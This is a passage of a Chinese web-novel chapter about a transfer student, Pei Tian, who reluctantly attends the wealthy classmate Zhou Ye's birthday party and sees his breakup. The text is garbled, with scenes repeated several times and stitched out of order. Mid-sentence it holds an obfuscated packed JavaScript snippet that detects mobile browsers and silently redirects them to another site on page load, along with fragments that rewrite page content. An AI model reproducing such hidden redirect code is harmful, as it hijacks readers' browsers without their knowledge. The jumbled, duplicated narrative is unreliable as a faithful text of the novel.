“……野哥刚去洗手间了,没拿手机。嫂子别生气啊,现在哪儿呢?” “噢噢噢,好,好,等野哥出来我跟他说。” 何一昂迫不及待地挂了电话,吞吞吐吐地跟周野说:“野哥,嫂子在楼下等你,说要跟你把话说清楚。” 周野歪头,坐了两分钟,把腿放下来,起身往外走。 “牛逼,野哥还真追啊。”傅阳啧啧地摇头感叹,竖了个大拇指,“校花就是校花,以前谁有这待遇。” 之前那么多女朋友,谁敢当场撂脸子,周野理都不会再理一下。 现在童清欢不但在周野的生日会上摔杯子,周野还要下去哄她。 旁边坐着的几个女生,有两个表情悻悻的,但也还好,就是尴尬撇嘴,只有一个特别可爱的女生,看见周野开门去找童清欢,瞬间变了脸色,紧紧咬着唇,欲言又止地跟着站了起来。 现在又听见傅阳火上浇油的这句话,更加难堪,双手握拳地在那等了两分钟,还没见周野回来,也捂脸哭着推门出去了。 “嫂子——诶这……” 那一桌的人你看我我看你。 没几秒,他们竟然像松了口气似的,紧张的神色荡然无存,全都极其松弛地躺回沙发上,拿起啤酒瓶高兴地碰在一起。 何一昂司空见惯地说:“行了行了,野哥的车翻完了,人也走了,咱们燥起来啊!” “赶紧放个嗨到我想蹦迪的音乐。” 才说完,周野又进来,随手甩上门,神色淡淡的坐回去。 “速度啊野哥,这么快?”何一昂坏笑着问,“嫂子哄好了吗?” 周野扫他一眼,把头偏过去,翘了个二郎腿,从胸膛里发出一声嗤笑:“老子哄个毛。” “不是吧,野哥你追出去跟人分手啊?这也太狠了点。” “都怪许沐杰这个憨批,出些什么损招,嫂子输了就算了,还非要让人翻跟头,人穿裙子怎么翻。” 许沐杰:“……不是你们叫玩点大的吗?她不想翻跟头,还可以喝酒啊。” “嘿你这人,直男。” “玩不起还跟老子摆脸色,不分留着上供呢。”周野从小被女生惯到大,想要什么都可以轻易得到,养成这种玩世不恭的二世祖性格,一切由着自己的性子来。 虽然他在钱财上异常大方,几乎是女朋友要什么就买什么,钱包都能直接扔过去,随便拿,但感情上从不肯有半点付出半点体谅,像个小孩似的,自私冷漠得惊人,连对他爸他妈都是一样。 何一昂蹭到周野旁边去,安慰他:“野哥别生气,拜拜就拜拜,下一个更乖,咱们回头再找个漂亮听话的。” “行。”周野跟个没事人一样,看何一昂已经喝大了,随便应了一句,推开他,懒得搭理,“莫挨老子,边儿吐去。” “不是,我没醉,哥,野哥我跟你说,我们班来了个新同学,比校花还好看,就上周五我跟你提的那个高一学妹,原来不是学妹,是新同学,就坐我旁边……”何一昂抱住周野的胳膊不撒手,絮絮叨叨地说,“野哥你经验多,给我支个招,怎么追得到她……” 傅阳出了张牌,不屑地笑:“野哥有个屁的经验,都是别人追他,你看他什么时候追过人?” “也是哈。” “那可不。”傅阳非常内行地说:“中午是听说你们班来了个特好看的转学生,你怎么不把人带过来玩,带出来不就好追了吗?” “我叫了,人不来啊。” “你说是野哥过生日啊,这能不来吗?” “她知道,她不来。”何一昂说到这,呕了一声。 “操,你他妈要吐老子身上,老子让你吃下去。”周野恶心坏了,立刻把手臂抽出来,换到对面沙发上去坐。 傅阳往旁边挪了挪,给周野让座位。 这个位置刚好正对着角落。 周野眼神没有往角落看,看也看不清。 一桌人都很意外,啧啧地笑:“野哥的面子都不给?转学生有点狂啊。” 周野无所谓地嗤了声,对这个话题没什么兴趣。 何一昂要去洗手间吐,临走还不忘帮裴甜说话:“你们别、别,人刚转过来,还不知道野哥呢。” 躁动的音乐声突然大了起来,好些人进了舞池,跟着地板起伏晃动,有几对男女生抱在一起,男生的手在女生身上乱动。 裴甜的手机突然嗡嗡地响,她拿出来看了一眼,跟苗曦说:“我妈妈给我打电话,我出去接一下。” 苗曦点头。 她拉开门出去,又轻轻关上,过道没什么人,隔音效果又好,安静得不行。 裴甜接起电话:“妈妈。” “你在哪儿呢?这么晚还不回来,饭都要冷了。” “我在市中心街,有同学过生日,我马上就回来了。” “六中的同学吗?” “嗯。” “男生还是女生啊?妈妈跟你说,你去了新学校可不能跟着他们瞎混啊,他们有钱有势的不靠学习吃饭,咱们不一样,爸爸妈妈的希望都在你身上了,天天这么起早贪黑的,新衣服都舍不得买一件,你要争气知道吗。” “我知道的,妈妈。”裴甜抿了抿唇,垂下眼睛,低声说,“是女同学过生日,我们班学习委员。” “哦,行,那你早点回来,别玩太晚了!” “好。” 裴甜挂了电话,在寂静的走廊站了几秒钟,转身进去,到角落里拉了拉苗曦,凑到她耳边说:“苗曦,我妈妈叫我回去吃晚饭了,我们走吧。” 苗曦顿了一下,点点头,跟着裴甜悄悄往门外走。 短时间内出去进来又出去,不停地开门关门,引起了周野那桌的注意。 裴甜隐约听见了一句“哪个班的啊这么吊,招呼都不打一个就走,野哥还在这呢”,她急忙把门关紧,拉着苗曦快步下楼。这一节是生物课,没几个认真听讲的,都在开小差。 何一昂拿笔敲了敲她的桌子,趴在桌上,歪着头小声跟她说:“新同学,晚上一起去吃饭吗?很多同学都会去哟,能让你迅速融入我们六中这个和谐的大集体。” 裴甜刚才听到了他们的对话,知道晚上是周野生日聚会,看着他摇了摇头。 “别这么不给班级大佬面子啊,好多人想去我还不叫呢,去吧去吧,啊?去吧?”何一昂看裴甜不理他,专心做笔记,伸手去摇她的桌子。 裴甜被晃得写不了字,皱眉忍了一会儿,桌子停了,她又继续写。 没一分钟,老师转过去在黑板上抄题,桌子又开始晃。 她忍了三四次,桌子还没有要停的意思。 裴甜被缠得有点烦,无语了片刻,耐着性子说:“不行,我今天晚上很忙,下次吧。” “忙什么啊?” 何一昂的同桌看不下去,“哎”了声,把他拉过去:“我说你老招惹新同学干嘛?” “我这不是关心新同学吗,想帮她尽快融入咱六中啊。”何一昂说得还真像那么回事儿。 李轩说:“人不想去,你别勉强了,影响人认真听课。” 何一昂和李轩两人你一句我一句地贫上了,没再来打扰她。 裴甜松了口气,重新捏起笔做笔记。 六中高三以前都没有晚自习,下午五点半放学。裴甜收拾好东西,不紧不慢地坐车回家。 爸爸妈妈还没下班,家里一个人也没有,静悄悄的。 她把校服拆出来洗干净,正要写作业,抽屉里手机嗡嗡地振动,有人打电话。 她的手机号没几个人知道,会晚上给她打电话的,更没有几个。 裴甜想到那条短信,有点迟疑,没有伸手去拉抽屉。 但铃声响个不停,她只好把手机拿出来,看见来电提醒是苗曦,心里才松了口气。 “喂?” “甜甜,你知道大神今天过生日吗?” 裴甜一听苗曦那么激动兴奋的声音,就知道她在打什么主意,直接拒绝:“学校里听说了,但是今天作业特别多,我去不了。” 苗曦惨叫:“啊!怎么才去第一天就那么多作业啊,老师太过分了!” “嗯,所以我要开始做作业了苗曦。” “等等,等等,甜甜你真的不去吗?你不去的话,我一个人到了那孤零零的,谁也不认识,好可怜的。要不,甜甜你陪我去一会儿,就去一小会会儿,回来我住你家,熬夜帮你赶作业行不行?” “不要。”裴甜镇静并坚决地拒绝。 她有点害怕周野那一群人,不想主动去惹麻烦。而且白天她都已经拒绝过何一昂了,晚上又去,让人家怎么想。 “甜甜~”苗曦冲她撒娇,“我真的好想去,我们还像上次那样,就去玩一会儿,我不过去打招呼,好不好嘛。” “不好。” “甜甜你最好了,我……” 苗曦软磨硬泡了快十分钟,裴甜没办法,只好答应陪她去一会儿,两人约在市中心街广场见面。 周野的生日聚会地址是一个高消费的私人会馆,六点开始。 裴甜和苗曦买好礼物到地方的时候,已经快七点,里面的人早嗨上了。 包间的门一打开,扑面而来一股浓重的酒气,混着刺鼻的汽水和食物的香甜。 里面音乐放得很大声,还有小型的舞池,色彩绚丽的灯光转来转去,亮度不高,有点昏暗。地上撒满了彩带,十层的巨大蛋糕被玩得一片狼藉,气氛热烈高潮,完全是紫醉金迷的场面。 一屋子人影憧憧地嬉笑打闹,不太能认得清谁是谁,也没人去注意开门进来的她们。 裴甜拎着袋子,四处看了看,最里面靠墙处摆了一大堆花束,还有各种礼品盒子袋子,堆得小山那么高,应该是放礼物的地方。 她过去把礼物放好,默默找了个角落的沙发坐下。 苗曦端了两杯果汁过来,给她一杯。 沙发前面的小桌上放了一碟小蛋糕和点心零食,左边还有几排料理自助。 裴甜没有食欲,有也不想在这里吃,只用两只小手抱着果汁喝。 苗曦在包间里找了半天,总算找到了周野的身影,激动地指了指前面被沙发围起来的大桌:“甜甜,大神真的在诶!四舍五入,我给大神过生日了呜呜呜!好想过去送生日祝福啊……” 裴甜转头,乌黑的瞳仁静静地凝视苗曦。 她立刻摆手:“那是不可能的,今晚我只守着你,哪儿也不去。” 裴甜被她逗笑了,安静地盯了一会儿桌面,实在百无聊赖,也抬起头看过去。 周野穿着不知道什么潮牌的黑T恤,反正图案一如既往的夸张,两条大长腿交叠着坐在沙发里,歪着头抽烟,雾气缭绕的,遮住了他的神情。 但这个人似乎有种莫名的吸引力,在人群中像焦点一样,张扬地闪耀着,让人一眼只能看到他。 裴甜看了两秒,静静地把眼睛移开。 那一桌除了她认识的几个熟人,还有很多年龄大一些的社会青年,跟周野他们关系很好的样子。 周野左边坐了三四个女生,靠他最近的是白天见过的童清欢,看着不太高兴,又不便发作,一直强颜欢笑。 不过包间里太吵了,音乐又放得大声,根本听不清他们在说什么,只看见他们开始发牌,摇骰子。 童清欢跟着在玩,没多久,忽然愤怒地站起来,转头跟周野说了什么。 周野坐姿又大爷又懒散,眉眼藏着股嚣张劲儿,无所谓地看着站起来的女朋友,一点反应也没有。 童清欢抓起玻璃杯摔在旁边的地板上,一声脆响,四分五裂。 沸腾的包间里霎时鸦雀无声,音乐声也停了。 所有人大气都不敢出,转头望着他们,不知道是怎么回事。 周野把嘴里的烟拿下来,吐了口烟圈,脸上没什么情绪,明显压着一股火。 童清欢也不说话,僵在那一分钟,拿起包包,开门跑了出去。 何一昂张了张嘴,眼神移向周野,尴尬地问:“野哥不追啊?” 周野沉默地抽了会儿烟,把烟摁灭在烟灰缸里,淡淡地“嗯”了一声。 然后他手机响了。 他慢腾腾地从裤兜里摸出手机,看了一眼,又不在意地揣回去。 手机还一直在响。 谁都猜得出来是童清欢打的电话,周野就是不接。 何一昂傅阳他们也不敢劝,正尴尬的时候,周野的手机停了,何一昂的手机响起来。他看了眼来电提醒,嘶了一声,接起来,眼神却一直盯着周野的反应。 周野没看他,低着眼睛,又拿了一根烟咬在嘴里,旁边的女生拧开打火机,帮他点烟。 “……野哥刚去洗手间了,没拿手机。嫂子别生气啊,现在哪儿呢?” “噢噢噢,好,好,等野哥出来我跟他说。” 何一昂迫不及待地挂了电话,吞吞吐吐地跟周野说:“野哥,嫂子在楼下等你,说要跟你把话说清楚。” 周野歪头,坐了两分钟,把腿放下来,起身往外走。 “牛逼,野哥还真追啊。”傅阳啧啧地摇头感叹,竖了个大拇指,“校花就是校花,以前谁有这待遇。” 之前那么多女朋友,谁敢当场撂脸子,周野理都不会再理一下。 现在童清欢不但在周野的生日会上摔杯子,周野还要下去哄她。 旁边坐着的几个女生,有两个表情悻悻的,但也还好,就是尴尬撇嘴,只有一个特别可爱的女生,看见周野开门去找童清欢,瞬间变了脸色,紧紧咬着唇,欲言又止地跟着站了起来。 现在又听见傅阳火上浇油的这句话,更加难堪,双手握拳地在那等了两分钟,还没见周野回来,也捂脸哭着推门出去了。 “嫂子——诶这……” 那一桌的人你看我我看你。 没几秒,他们竟然像松了口气似的,紧张的神色荡然无存,全都极其松弛地躺回沙发上,拿起啤酒瓶高兴地碰在一起。 何一昂司空见惯地说:“行了行了,野哥的车翻完了,人也走了,咱们燥起来啊!” “赶紧放个嗨到我想蹦迪的音乐。” 才说完,周野又进来,随手甩上门,神色淡淡的坐回去。 “速度啊野哥,这么快?”何一昂坏笑着问,“嫂子哄好了吗?” 周野扫他一眼,把头偏过去,翘了个二郎腿,从胸膛里发出一声嗤笑:“老子哄个毛。” “不是吧,野哥你追出去跟人分手啊?这也太狠了点。” “都怪许沐杰这个憨批,出些什么损招,嫂子输了就算了,还非要让人翻跟头,人穿裙子怎么翻。” 许沐杰:“……不是你们叫玩点大的吗?她不想翻跟头,还可以喝酒啊。” “嘿你这人,直男。” “玩不起还跟老子摆脸色,不分留着上供呢。”周野从小被女生惯到大,想要什么都可以轻易得到,养成这种玩世不恭的二世祖性格,一切由着自己的性子来。 虽然他在钱财上异常大方,几乎是女朋友要什么就买什么,钱包都能直接扔过去,随便拿,但感情上从不肯有半点付出半点体谅,像个小孩似的,自私冷漠得惊人,连对他爸他妈都是一样。 何一昂蹭到周野旁边去,安慰他:“野哥别生气,拜拜就拜拜,下一个更乖,咱们回头再找个漂亮听话的。” “行。”周野跟个没事人一样,看何一昂已经喝大了,随便应了一句,推开他,懒得搭理,“莫挨老子,边儿吐去。” “不是,我没醉,哥,野哥我跟你说,我们班来了个新同学,比校花还好看,就上周五我跟你提的那个高一学妹,原来不是学妹,是新同学,就坐我旁边……”何一昂抱住周野的胳膊不撒手,絮絮叨叨地说,“野哥你经验多,给我支个招,怎么追得到她……” 傅阳出了张牌,不屑地笑:“野哥有个屁的经验,都是别人追他,你看他什么时候追过人?” “也是哈。” “那可不。”傅阳非常内行地说:“中午是听说你们班来了个特好看的转学生,你怎么不把人带过来玩,带出来不就好追了吗?” “我叫了,人不来啊。” “你说是野哥过生日啊,这能不来吗?” “她知道,她不来。”何一昂说到这,呕了一声。 “操,你他妈要吐老子身上,老子让你吃下去。”周野恶心坏了,立刻把手臂抽出来,换到对面沙发上去坐。 傅阳往旁边挪了挪,给周野让座位。 这个位置刚好正对着角落。 周野眼神没有往角落看,看也看不清。 一桌人都很意外,啧啧地笑:“野哥的面子都不给?转学生有点狂啊。” 周野无所谓地嗤了声,对这个话题没什么兴趣。 何一昂要去洗手间吐,临走还不忘帮裴甜说话:“你们别、别,人刚转过来,还不知道野哥呢。” 躁动的音乐声突然大了起来,好些人进了舞池,跟着地板起伏晃动,有几对男女生抱在一起,男生的手在女生身上乱动。 裴甜的手机突然嗡嗡地响,她拿出来看了一眼,跟苗曦说:“我妈妈给我打电话,我出去接一下。” 苗曦点头。 她拉开门出去,又轻轻关上,过道没什么人,隔音效果又好,安静得不行。 裴甜接起电话:“妈妈。” “你在哪儿呢?这么晚还不回来,饭都要冷了。” “我在市中心街,有同学过生日,我马上就回来了。” “六中的同学吗?” “嗯。” “男生还是女生啊?妈妈跟你说,你去了新学校可不能跟着他们瞎混啊,他们有钱有势的不靠学习吃饭,咱们不一样,爸爸妈妈的希望都在你身上了,天天这么起早贪黑的,新衣服都舍不得买一件,你要争气知道吗。” “我知道的,妈妈。”裴甜抿了抿唇,垂下眼睛,低声说,“是女同学过生日,我们班学习委员。” “哦,行,那你早点回来,别玩太晚了!” “好。” 裴甜挂了电话,在寂静的走廊站了几秒钟,转身进去,到角落里拉了拉苗曦,凑到她耳边说:“苗曦,我妈妈叫我回去吃晚饭了,我们走吧。” 苗曦顿了一下,点点头,跟着裴甜悄悄往门外走。 短时间内出去进来又出去,不停地开门关门,引起了周野那桌的注意。 裴甜隐约听见了一句“哪个班的啊这么吊,招呼都不打一个就走,野哥还在这呢”,她急忙把门关紧,拉着苗曦快步下楼。这一节是生物课,没几个认真听讲的,都在开小差。 何一昂拿笔敲了敲她的桌子,趴在桌上,歪着头小声跟她说:“新同学,晚上一起去吃饭吗?很多同学都会去哟,能让你迅速融入我们六中这个和谐的大集体。” 裴甜刚才听到了他们的对话,知道晚上是周野生日聚会,看着他摇了摇头。 “别这么不给班级大佬面子啊,好多人想去我还不叫呢,去吧去吧,啊?去吧?”何一昂看裴甜不理他,专心做笔记,伸手去摇她的桌子。 裴甜被晃得写不了字,皱眉忍了一会儿,桌子停了,她又继续写。 没一分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824199|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟,老师转过去在黑板上抄题,桌子又开始晃。 她忍了三四次,桌子还没有要停的意思。 裴甜被缠得有点烦,无语了片刻,耐着性子说:“不行,我今天晚上很忙,下次吧。” “忙什么啊?” 何一昂的同桌看不下去,“哎”了声,把他拉过去:“我说你老招惹新同学干嘛?” “我这不是关心新同学吗,想帮她尽快融入咱六中啊。”何一昂说得还真像那么回事儿。 李轩说:“人不想去,你别勉强了,影响人认真听课。” 何一昂和李轩两人你一句我一句地贫上了,没再来打扰她。 裴甜松了口气,重新捏起笔做笔记。 六中高三以前都没有晚自习,下午五点半放学。裴甜收拾好东西,不紧不慢地坐车回家。 爸爸妈妈还没下班,家里一个人也没有,静悄悄的。 她把校服拆出来洗干净,正要写作业,抽屉里手机嗡嗡地振动,有人打电话。 她的手机号没几个人知道,会晚上给她打电话的,更没有几个。 裴甜想到那条短信,有点迟疑,没有伸手去拉抽屉。 但铃声响个不停,她只好把手机拿出来,看见来电提醒是苗曦,心里才松了口气。 “喂?” “甜甜,你知道大神今天过生日吗?” 裴甜一听苗曦那么激动兴奋的声音,就知道她在打什么主意,直接拒绝:“学校里听说了,但是今天作业特别多,我去不了。” 苗曦惨叫:“啊!怎么才去第一天就那么多作业啊,老师太过分了!” “嗯,所以我要开始做作业了苗曦。” “等等,等等,甜甜你真的不去吗?你不去的话,我一个人到了那孤零零的,谁也不认识,好可怜的。要不,甜甜你陪我去一会儿,就去一小会会儿,回来我住你家,熬夜帮你赶作业行不行?” “不要。”裴甜镇静并坚决地拒绝。 她有点害怕周野那一群人,不想主动去惹麻烦。而且白天她都已经拒绝过何一昂了,晚上又去,让人家怎么想。 “甜甜~”苗曦冲她撒娇,“我真的好想去,我们还像上次那样,就去玩一会儿,我不过去打招呼,好不好嘛。” “不好。” “甜甜你最好了,我……” 苗曦软磨硬泡了快十分钟,裴甜没办法,只好答应陪她去一会儿,两人约在市中心街广场见面。 周野的生日聚会地址是一个高消费的私人会馆,六点开始。 裴甜和苗曦买好礼物到地方的时候,已经快七点,里面的人早嗨上了。 包间的门一打开,扑面而来一股浓重的酒气,混着刺鼻的汽水和食物的香甜。 里面音乐放得很大声,还有小型的舞池,色彩绚丽的灯光转来转去,亮度不高,有点昏暗。地上撒满了彩带,十层的巨大蛋糕被玩得一片狼藉,气氛热烈高潮,完全是紫醉金迷的场面。 一屋子人影憧憧地嬉笑打闹,不太能认得清谁是谁,也没人去注意开门进来的她们。 裴甜拎着袋子,四处看了看,最里面靠墙处摆了一大堆花束,还有各种礼品盒子袋子,堆得小山那么高,应该是放礼物的地方。 她过去把礼物放好,默默找了个角落的沙发坐下。 苗曦端了两杯果汁过来,给她一杯。 沙发前面的小桌上放了一碟小蛋糕和点心零食,左边还有几排料理自助。 裴甜没有食欲,有也不想在这里吃,只用两只小手抱着果汁喝。 苗曦在包间里找了半天,总算找到了周野的身影,激动地指了指前面被沙发围起来的大桌:“甜甜,大神真的在诶!四舍五入,我给大神过生日了呜呜呜!好想过去送生日祝福啊……” 裴甜转头,乌黑的瞳仁静静地凝视苗曦。 她立刻摆手:“那是不可能的,今晚我只守着你,哪儿也不去。” 裴甜被她逗笑了,安静地盯了一会儿桌面,实在百无聊赖,也抬起头看过去。 周野穿着不知道什么潮牌的黑T恤,反正图案一如既往的夸张,两条大长腿交叠着坐在沙发里,歪着头抽烟,雾气缭绕的,遮住了他的神情。 但这个人似乎有种莫名的吸引力,在人群中像焦点一样,张扬地闪耀着,让人一眼只能看到他。 裴甜看了两秒,静静地把眼睛移开。 那一桌除了她认识的几个熟人,还有很多年龄大一些的社会青年,跟周野他们关系很好的样子。 周野左边坐了三四个女生,靠他最近的是白天见过的童清欢,看着不太高兴,又不便发作,一直强颜欢笑。 不过包间里太吵了,音乐又放得大声,根本听不清他们在说什么,只看见他们开始发牌,摇骰子。 童清欢跟着在玩,没多久,忽然愤怒地站起来,转头跟周野说了什么。 周野坐姿又大爷又懒散,眉眼藏着股嚣张劲儿,无所谓地看着站起来的女朋友,一点反应也没有。 童清欢抓起玻璃杯摔在旁边的地板上,一声脆响,四分五裂。 沸腾的包间里霎时鸦雀无声,音乐声也停了。 所有人大气都不敢出,转头望着他们,不知道是怎么回事。 周野把嘴里的烟拿下来,吐了口烟圈,脸上没什么情绪,明显压着一股火。 童清欢也不说话,僵在那一分钟,拿起包包,开门跑了出去。 何一昂张了张嘴,眼神移向周野,尴尬地问:“野哥不追啊?” 周野沉默地抽了会儿烟,把烟摁灭在烟灰缸里,淡淡地“嗯”了一声。 然后他手机响了。 他慢腾腾地从裤兜里摸出手机,看了一眼,又不在意地揣回去。 手机还一直在响。 谁都猜得出来是童清欢打的电话,周野就是不接。 何一昂傅阳他们也不敢劝,正尴尬的时候,周野的手机停了,何一昂的手机响起来。他看了眼来电提醒,嘶了一声,接起来,眼神却一直盯着周野的反应。 周野没看他,低着眼睛,又拿了一根烟咬在嘴里,旁边的女生拧开打火机,帮他点烟。 “……野哥刚去洗手间了,没拿手机。嫂子别生气啊,现在哪儿呢?” “噢噢噢,好,好,等野哥出来我跟他说。” 何一昂迫不及待地挂了电话,吞吞吐吐地跟周野说:“野哥,嫂子在楼下等你,说要跟你把话说清楚。” 周野歪头,坐了两分钟,把腿放下来,起身往外走。 “牛逼,野哥还真追啊。”傅阳啧啧地摇头感叹,竖了个大拇指,“校花就是校花,以前谁有这待遇。” 之前那么多女朋友,谁敢当场撂脸子,周野理都不会再理一下。 现在童清欢不但在周野的生日会上摔杯子,周野还要下去哄她。 旁边坐着的几个女生,有两个表情悻悻的,但也还好,就是尴尬撇嘴,只有一个特别可爱的女生,看见周野开门去找童清欢,瞬间变了脸色,紧紧咬着唇,欲言又止地跟着站了起来。 现在又听见傅阳火上浇油的这句话,更加难堪,双手握拳地在那等了两分钟,还没见周野回来,也捂脸哭着推门出去了。 “嫂子——诶这……” 那一桌的人你看我我看你。 没几秒,他们竟然像松了口气似的,紧张的神色荡然无存,全都极其松弛地躺回沙发上,拿起啤酒瓶高兴地碰在一起。 何一昂司空见惯地说:“行了行了,野哥的车翻完了,人也走了,咱们燥起来啊!” “赶紧放个嗨到我想蹦迪的音乐。” 才说完,周野又进来,随手甩上门,神色淡淡的坐回去。 “速度啊野哥,这么快?”何一昂坏笑着问,“嫂子哄好了吗?” 周野扫他一眼,把头偏过去,翘了个二郎腿,从胸膛里发出一声嗤笑:“老子哄个毛。” “不是吧,野哥你追出去跟人分手啊?这也太狠了点。” “都怪许沐杰这个憨批,出些什么损招,嫂子输了就算了,还非要让人翻跟头,人穿裙子怎么翻。” 许沐杰:“……不是你们叫玩点大的吗?她不想翻跟头,还可以喝酒啊。” “嘿你这人,直男。” “玩不起还跟老子摆脸色,不分留着上供呢。”周野从小被女生惯到大,想要什么都可以轻易得到,养成这种玩世不恭的二世祖性格,一切由着自己的性子来。 虽然他在钱财上异常大方,几乎是女朋友要什么就买什么,钱包都能直接扔过去,随便拿,但感情上从不肯有半点付出半点体谅,像个小孩似的,自私冷漠得惊人,连对他爸他妈都是一样。 何一昂蹭到周野旁边去,安慰他:“野哥别生气,拜拜就拜拜,下一个更乖,咱们回头再找个漂亮听话的。” “行。”周野跟个没事人一样,看何一昂已经喝大了,随便应了一句,推开他,懒得搭理,“莫挨老子,边儿吐去。” “不是,我没醉,哥,野哥我跟你说,我们班来了个新同学,比校花还好看,就上周五我跟你提的那个高一学妹,原来不是学妹,是新同学,就坐我旁边……”何一昂抱住周野的胳膊不撒手,絮絮叨叨地说,“野哥你经验多,给我支个招,怎么追得到她……” 傅阳出了张牌,不屑地笑:“野哥有个屁的经验,都是别人追他,你看他什么时候追过人?” “也是哈。” “那可不。”傅阳非常内行地说:“中午是听说你们班来了个特好看的转学生,你怎么不把人带过来玩,带出来不就好追了吗?” “我叫了,人不来啊。” “你说是野哥过生日啊,这能不来吗?” “她知道,她不来。”何一昂说到这,呕了一声。 “操,你他妈要吐老子身上,老子让你吃下去。”周野恶心坏了,立刻把手臂抽出来,换到对面沙发上去坐。 傅阳往旁边挪了挪,给周野让座位。 这个位置刚好正对着角落。 周野眼神没有往角落看,看也看不清。 一桌人都很意外,啧啧地笑:“野哥的面子都不给?转学生有点狂啊。” 周野无所谓地嗤了声,对这个话题没什么兴趣。 何一昂要去洗手间吐,临走还不忘帮裴甜说话:“你们别、别,人刚转过来,还不知道野哥呢。” 躁动的音乐声突然大了起来,好些人进了舞池,跟着地板起伏晃动,有几对男女生抱在一起,男生的手在女生身上乱动。 裴甜的手机突然嗡嗡地响,她拿出来看了一眼,跟苗曦说:“我妈妈给我打电话,我出去接一下。” 苗曦点头。 她拉开门出去,又轻轻关上,过道没什么人,隔音效果又好,安静得不行。 裴甜接起电话:“妈妈。” “你在哪儿呢?这么晚还不回来,饭都要冷了。” “我在市中心街,有同学过生日,我马上就回来了。” “六中的同学吗?” “嗯。” “男生还是女生啊?妈妈跟你说,你去了新学校可不能跟着他们瞎混啊,他们有钱有势的不靠学习吃饭,咱们不一样,爸爸妈妈的希望都在你身上了,天天这么起早贪黑的,新衣服都舍不得买一件,你要争气知道吗。” “我知道的,妈妈。”裴甜抿了抿唇,垂下眼睛,低声说,“是女同学过生日,我们班学习委员。” “哦,行,那你早点回来,别玩太晚了!” “好。” 裴甜挂了电话,在寂静的走廊站了几秒钟,转身进去,到角落里拉了拉苗曦,凑到她耳边说:“苗曦,我妈妈叫我回去吃晚饭了,我们走吧。” 苗曦顿了一下,点点头,跟着裴甜悄悄往门外走。 短时间内出去进来又出去,不停地开门关门,引起了周野那桌的注意。 裴甜隐约听见了一句“哪个班的啊这么吊,招呼都不打一个就走,野哥还在这呢”,她急忙把门关紧,拉着苗曦快步下楼。这一节是生物课,没几个认真听讲的,都在开小差。 何一昂拿笔敲了敲她的桌子,趴在桌上,歪着头小声跟她说:“新同学,晚上一起去吃饭吗?很多同学都会去哟,能让你迅速融入我们六中这个和谐的大集体。” 裴甜刚才听到了他们的对话,知道晚上是周野生日聚会,看着他摇了摇头。 “别这么不给班级大佬面子啊,好多人想去我还不叫呢,去吧去吧,啊?去吧?”何一昂看裴甜不理他,专心做笔记,伸手去摇她的桌子。 裴甜被晃得写不了字,皱眉忍了一会儿,桌子停了,她又继续写。 没一分钟,老师转过去在黑板上抄题,桌子又开始晃。 她忍了三四次,桌子还没有要停的意思。 裴甜被缠得有点烦,无语了片刻,耐着性子说:“不行,我今天晚上很忙,下次吧。” “忙什么啊?” 何一昂的同桌看不下去,“哎”了声,把他拉过去:“我说你老招惹新同学干嘛?” “我这不是关心新同学吗,想帮她尽快融入咱六中啊。”何一昂说得还真像那么回事儿。 李轩说:“人不想去,你别勉强了,影响人认真听课。” 何一昂和李轩两人你一句我一句地贫上了,没再来打扰她。 裴甜松了口气,重新捏起笔做笔记。 六中高三以前都没有晚自习,下午五点半放学。裴甜收拾好东西,不紧不慢地坐车回家。 爸爸妈妈还没下班,家里一个人也没有,静悄悄的。 她把校服拆出来洗干净,正要写作业,抽屉里手机嗡嗡地振动,有人打电话。 她的手机号没几个人知道,会晚上给她打电话的,更没有几个。 裴甜想到那条短信,有点迟疑,没有伸手去拉抽屉。 但铃声响个不停,她只好把手机拿出来,看见来电提醒是苗曦,心里才松了口气。 “喂?” “甜甜,你知道大神今天过生日吗?” 裴甜一听苗曦那么激动兴奋的声音,就知道她在打什么主意,直接拒绝:“学校里听说了,但是今天作业特别多,我去不了。” 苗曦惨叫:“啊!怎么才去第一天就那么多作业啊,老师太过分了!” “嗯,所以我要开始做作业了苗曦。” “等等,等等,甜甜你真的不去吗?你不去的话,我一个人到了那孤零零的,谁也不认识,好可怜的。要不,甜甜你陪我去一会儿,就去一小会会儿,回来我住你家,熬夜帮你赶作业行不行?” “不要。”裴甜镇静并坚决地拒绝。 她有点害怕周野那一群人,不想主动去惹麻烦。而且白天她都已经拒绝过何一昂了,晚上又去,让人家怎么想。 “甜甜~”苗曦冲她撒娇,“我真的好想去,我们还像上次那样,就去玩一会儿,我不过去打招呼,好不好嘛。” “不好。” “甜甜你最好了,我……” 苗曦软磨硬泡了快十分钟,裴甜没办法,只好答应陪她去一会儿,两人约在市中心街广场见面。 周野的生日聚会地址是一个高消费的私人会馆,六点开始。 裴甜和苗曦买好礼物到地方的时候,已经快七点,里面的人早嗨上了。 包间的门一打开,扑面而来一股浓重的酒气,混着刺鼻的汽水和食物的香甜。 里面音乐放得很大声,还有小型的舞池,色彩绚丽的灯光转来转去,亮度不高,有点昏暗。地上撒满了彩带,十层的巨大蛋糕被玩得一片狼藉,气氛热烈高潮,完全是紫醉金迷的场面。 一屋子人影憧憧地嬉笑打闹,不太能认得清谁是谁,也没人去注意开门进来的她们。 裴甜拎着袋子,四处看了看,最里面靠墙处摆了一大堆花束,还有各种礼品盒子袋子,堆得小山那么高,应该是放礼物的地方。 她过去把礼物放好,默默找了个角落的沙发坐下。 苗曦端了两杯果汁过来,给她一杯。 沙发前面的小桌上放了一碟小蛋糕和点心零食,左边还有几排料理自助。 裴甜没有食欲,有也不想在这里吃,只用两只小手抱着果汁喝。 苗曦在包间里找了半天,总算找到了周野的身影,激动地指了指前面被沙发围起来的大桌:“甜甜,大神真的在诶!四舍五入,我给大神过生日了呜呜呜!好想过去送生日祝福啊……” 裴甜转头,乌黑的瞳仁静静地凝视苗曦。 她立刻摆手:“那是不可能的,今晚我只守着你,哪儿也不去。” 裴甜被她逗笑了,安静地盯了一会儿桌面,实在百无聊赖,也抬起头看过去。 